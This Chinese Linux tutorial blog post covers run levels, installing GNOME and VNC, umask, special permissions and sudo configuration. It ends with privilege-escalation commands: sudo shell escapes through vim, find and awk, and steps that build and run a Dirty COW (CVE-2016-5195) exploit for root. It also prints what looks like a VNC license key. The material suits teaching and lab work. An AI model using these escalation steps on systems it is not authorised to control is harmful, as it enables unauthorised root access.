【linux运行模式和提权】


学习目标

1.学会查看运行级别
2.学会安装linux的图形界面
3.学会安装VNC
4.学会不同权限的转换
5.学会sudo用法
6.学会sudo提权

1.linux的运行级别

运行级别0	关机
运行级别1	单用户
运行级别2	不带网络的多用户(多终端)
运行级别3	完整的多用户模式
运行级别4	保留
运行级别5	桌面模式
运行级别6	重启

#切换运行级别
init 0

#查看运行级别
systemctl get-default
#设置运行级别
systemctl set-default grapical.target	#设置默认运行级别为图形
systemctl set-default multi-user.target	#设置默认运行级别为命令行

切换终端alt+ F1/F2/F3
vnc viewer	客户端
华为终端盒子

01
02

1)安装linux的图形界面

1)安装linux系统的图形界面
03
2)重启调整内存和处理器
04
05
06
3)要出现以下界面要先创建一个普通用户bai就可以用root用户登录
07
08
09
10
11
12
13

#安装图形化界面
yum groups install "GNOME Desktop" -y
useradd linux

#切换linux运行级别
systemctl set-default graphical.target
reboot

#初始化设置图形界面
一路下一步执行

Linux终端(TTY)

2)安装VNC

vnc是一款很好用的远程控制软件,支持全平台,不管是linux系统、windowns系统
还是苹果系统,都支持VNC。

1.安装vnc server
14
15
16
17
18
去找一个有效的密钥
19
20
21
22
23
24
25
26
27
28
29
30
31

小结:
#安装图形化界面
yum groups install "GNOME Desktop" -y
useradd linux

#切换运行级别
systemctl set-default graphical.target
reboot

#初始化设置图形界面
接着一路下一步下一步的执行

#安装vnc-server远程控制linux桌面
yum localinstall VNC-Server-6.8.0-Linux-x64.rpm -y
vnclicense -add 84WFN-YRJ4C-WA44V-9BW6X-PAE2A

鼠标点击--应用程序--互联网--vnc server

#客户端连接
192.168.***.111:5900 或者
192.168.***.111:0

VNC客户端
Linux VNC server 安装配置

2.linux权限掩码

#修改文件vim /etc/profile
root	  默认权限掩码  022
普通用户  默认权限掩码   002

inode:存储除文件名以外的属性
block:存储文件的内容,目录的block存储,该目录下的文件名和它的inode编号  

32
33
34
35
3637
38
以上是root用户的演示,下面演示普通用户的权限
39
40
41
42

3.linux特殊权限

suid	其他用户,拥有该文件属主的执行权限
sgid	其他用户,拥有该文件属组的执行权限
sticky	很多用户共同使用的目录,实现用户之间不能互相删除改变对方的文件权限

43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
linux-粘滞位的使用

4.Sudo用法

su == switch user
sudo == superuser do
sudo是常用的Linux系统命令,允许普通用户执行root命令.

1.配置/etc/sudoers
#用户名	    所有终端 = 运行的用户身份	  命令ALL
zhangsan	ALL=(ALL)	       /bin/systemctl,/usr/bin/vim 

2.使用sudo执行命令
#使用sudo来执行命令
sudo	systemctl stop network	#start,stop,restart

3.查看可以使用的授权命令
sudo -l

74
75
76
77
78
79
80
82
83

5.linux普通用户提权

Sudo提权
vim         #命令模式执行:!bash
find	    #sudo find . -exec bash \;
awk	        #sudo awk 'BEGIN {system("/bin/bash")}' 1.txt

84
85
86
87
88
89
90
91
92
93
94
95
96
97
awk sudo提权
98
Linux下利用sudo实现提权
99
linux sudo提权

6.脏牛提权

仓库地址:https://github.com/gbonacini/CVE-2016-5195

#使用git拉取代码
git clone https://gitee.com/xiaozhi1314_admin/CVE-2016-5195.git 
cd CVE-2016-5195/
make		       #编译
./dcow -s		   #提权

100
101
102
103
104
低版本的红帽存在脏牛提权漏洞。
Linux sudo提权-cve-2021-3156


总结

以上就是要讲的内容,本文介绍了linux的运行级别,如何安装linux的图形界面以及安装VNC,还有如何转换不同的权限和提权等等,涉及的知识点很多。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值